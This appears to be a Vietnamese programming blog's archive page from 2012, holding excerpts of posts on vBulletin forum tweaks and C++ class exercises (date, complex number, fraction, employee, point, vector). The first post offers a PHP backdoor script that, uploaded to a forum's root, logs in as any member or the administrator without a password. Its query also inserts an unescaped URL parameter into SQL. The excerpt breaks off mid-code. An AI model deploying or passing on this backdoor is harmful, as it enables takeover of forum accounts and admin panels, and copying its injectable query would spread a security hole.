Bài đăng

Đang hiển thị bài đăng từ tháng 3 4, 2012

Cách đăng nhập vào forum VBB khi quên pass hoặc không cần pass

Code này có tác dụng là khi upload vào thư mục root của forum VBB các bạn có khả năng đăng nhập vào nick bất cứ thành viên nào mà không cần password. Ngoài ra vào đc thẳng admincp mà ko cần gõ lại pass <?php if (isset($_GET['kenhdaihoc'])) { define('THIS_SCRIPT', 'login'); require_once('./global.php'); require_once('./includes/functions_login.php'); $vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $_GET['kenhdaihoc'] . "'"); if (!$vbulletin->userinfo['userid']) die("Invalid username!"); else { vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true); vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true); exec_unstrike_user($_GET['ke...

Bộ ảnh của hotgirl Quỳnh chi tuyệt đẹp

Hình ảnh
Xem thêm: http://kenhdaihoc.com/forum/showthread.php?t=2829 Xem thêm: http://kenhdaihoc.com/forum/showthread.php?t=2829

Hướng dẩn đóng khung thông tin chủ để cho vbb

Hình ảnh
Demo: Trích từ: http://kenhdaihoc.com/forum/showthread.php?t=2828 -Cài đặt: B1: Bạn tải file về và giải nén ra xong upload lên ngang hàng với index của forum file đính kèm B2: Vào Skin cần tạo ==> Edit Themes ==> postbit_legacy (hoặc postbit ) B3: Tìm đoạn code: <!-- message --> <div id="post_message_{vb:raw post.postid}"> B4: Và chèn lên phía trên đoạn code sau: <center>  <!-- $Id: NNT Đóng khung Thông Tin bài trên $ --> <vb:if condition="!$GLOBALS['FIRSTPOSTID']">  <div> <table cellSpacing="0" cellPadding="0" border="0" style="width:100%"> <tr> <td style="padding: 0px"><img src="nnt/info/nnt1.png"></td> <td style="padding: 0px" background="nnt/info/nnt2.png"></td> <td style="padding: 0px"><img src="nnt/info/nnt3.png"></td> </tr> ...

Xây dựng lớp date trong C++

Xây dựng lớp date1 có các thành phần sau: - Các thuộc tính : day, month, year - Hàm thiết lập có tham số mặc định - Hàm kiểm tra năm nhuận - Hàm kiểm tra ngày cuối tháng - Nạp chồng toán tử tăng (++) - Nạp chồng toán tử (+ =) - Nạp chồng toán tử xuất (<<) Viết chương trình kiểm tra #include <iostream.h> #include <conio.h> class date1 {   private:     int day;     int month;     int year;     static const int days[];     void helpIncrement();   public:     date1(int d=1,int m=1,int y=1900);     void setdate(int d,int m,int y);     date1 &operator++();     date1 &operator+=(int addday);     bool leapyear(int y);//kiem tra nam nhuan     bool endofmonth(int d);//kiem tra ngay cuoi thang     friend ostream & operator<<(ostream & out,date1 &date); }; const int date1::days[]={0,31,28,31,30,31,30,31,31,30,31,30,31}; date1::...

Xây dựng lớp complex có dạng real+ image*i trong C++

Tạo lớp complex (real + image *i ) có các thành phần sau: - Các thuộc tính : real , image; - Hàm tạo có sử dụng tham số mặc định - Nạp chồng các toán tử sau: + Toán tử cộng (+)  + Toán tử cộng thành phần real của số phức b lên x (b.real + x) + Toán tử trừ (-) + Toán tử nhập (>>) + Toán tử xuất (<<) #include <iostream.h> #include <conio.h> class complex {   private:     float real,image;   public:     complex(float r=0,float i=0);     complex operator+(complex c);     complex operator-(complex c);     friend complex operator+(float x,complex c);     friend ostream& operator<<(ostream &out,complex c);     friend istream& operator>>(istream &inp,complex& c); };   complex::complex(float r,float i) {    real=r;    image=i; }   complex complex::operator+(complex c) {    ...

Xây dựng lớp Phânsố trong C++

Tạo lớp Phân số có các thành phần sau: - Các thuộc tính: ts,ms; - Hàm tạo có sử dụng tham số mặc định - Nạp chồng các toán tử sau: + Toán tử cộng (+) + Toán tử trừ (-) + Toán tử nhân ( * ) + Toán tử chia (/) + Toán tử nhập (>>) + Toán tử xuất (<<) #include "iostream.h" #include "conio.h" #include "math.h" class PS {      int t,m;      public:      friend ostream& operator<<(ostream& os, PS p);      friend istream& operator>>(istream& is, PS &p);      friend PS rutgon(PS p);      PS operator+(PS p);      PS operator-(PS p);      PS operator*(PS p);      PS operator/(PS p); }; int USCLN(int x,int y) {    if(x==0)      return y;    if (y==0)        return x;    while (x!=y)       {         if(x>y)     ...

Xây dựng lớp Nhanvien trong C+

Xây dựng lớp nhanvien có các thành phần sau: - Các thuộc tính: tendem, ho, ngaysinh, ngayvaolam. Chú ý : sử dụng con trỏ char cho tendem, ho và ngaysinh, ngayvaolam có kiểu lớp date1 vừa xây dựng ở bài tập trước. - Hàm tạo - Hàm trả về tendem - Hàm trả về ho - Hàm huỷ - Hàm hiển thị File employee.h #ifndef employee1_h #define employee1_h #include "date1.h" class employee1 {   private :     char * firstname;     char * lastname;     date1 * birthdate;     date1 * hiredate;   public:     employee1(char *,char *,int,int,int,int,int,int);     void print();     char *get_firstname();     char *get_lastname();     ~employee1(); }; #endif File employee.cpp #include <iostream.h> #include <conio.h> #include "employee1.h" #include <string.h> #include "date1.h"   employee1::employee1(char * fn,char *ln,int bd,int bm,int by...

Xây dựng lớp point trong C++

Tạo lớp điểm (point) có thuộc tính là các toạ độ x, y. Xây dựng các hàm cần thiết như nhập và hiển thị các toạ độ, tính khoảng cách giữa hai điểm. Viết chương trình nhập vào n điểm từ bàn phím.Tìm và hiển thị khoảng cách lớn nhất giữa hai điểm trong n điểm đó. Xem thêm:  http://kenhdaihoc.com/forum/showthread.php?t=2813 Tạo lớp điểm (point) có thuộc tính là các toạ độ x, y. Xây dựng các hàm cần thiết như nhập và hiển thị các toạ độ, tính khoảng cách giữa hai điểm. Viết chương trình nhập vào n điểm từ bàn phím.Tìm và hiển thị khoảng cách lớn nhất giữa hai điểm trong n điểm đó. #include "conio.h" #include "math.h" class point {     int x,y;     public:     void nhap(){     cout<<"x=";cin>>x;     cout<<"y=";cin>>y; } void in() {    cout<<" x= "<<x<<" y= "<<y; } double khoangcach(point d) {     return sqrt(pow((x-d.x),2)+pow((y-d.y),2)); } }; void main() {    ...

Xây dựng lớp vector sử dụng hàm tạo và hàm huỷ trong C++

Tạo một lớp vector gồm có các thành phần sau: - Các thuộc tính : float * v; int n - Hàm thiết lập không tham số - Hàm thiết lập một tham số - Hàm thiết lập hai tham số - Hàm hiển thị - Hàm huỷ Viết một chương trình kiểm tra. #include <iostream.h> #include <conio.h> class vector {    private:      int n;      float *v;    public:      vector();//ham thiet lap khong tham so      vector(int size);//ham thiet lap mot tham so      vector(int size,float * a);//ham thiet lap hai tham so      void display();      ~vector();//ham huy }; vector::vector() {    cout<<" Su dung ham thiet lap khong tham so :"<<endl;    cout<<" Tao mot doi tuong lop vecto co dia chi tai:"<<this<<endl;    cout<<" Nhap vao so toa do :";    cin>>n;    v=new float[n];    cout<<" Xi...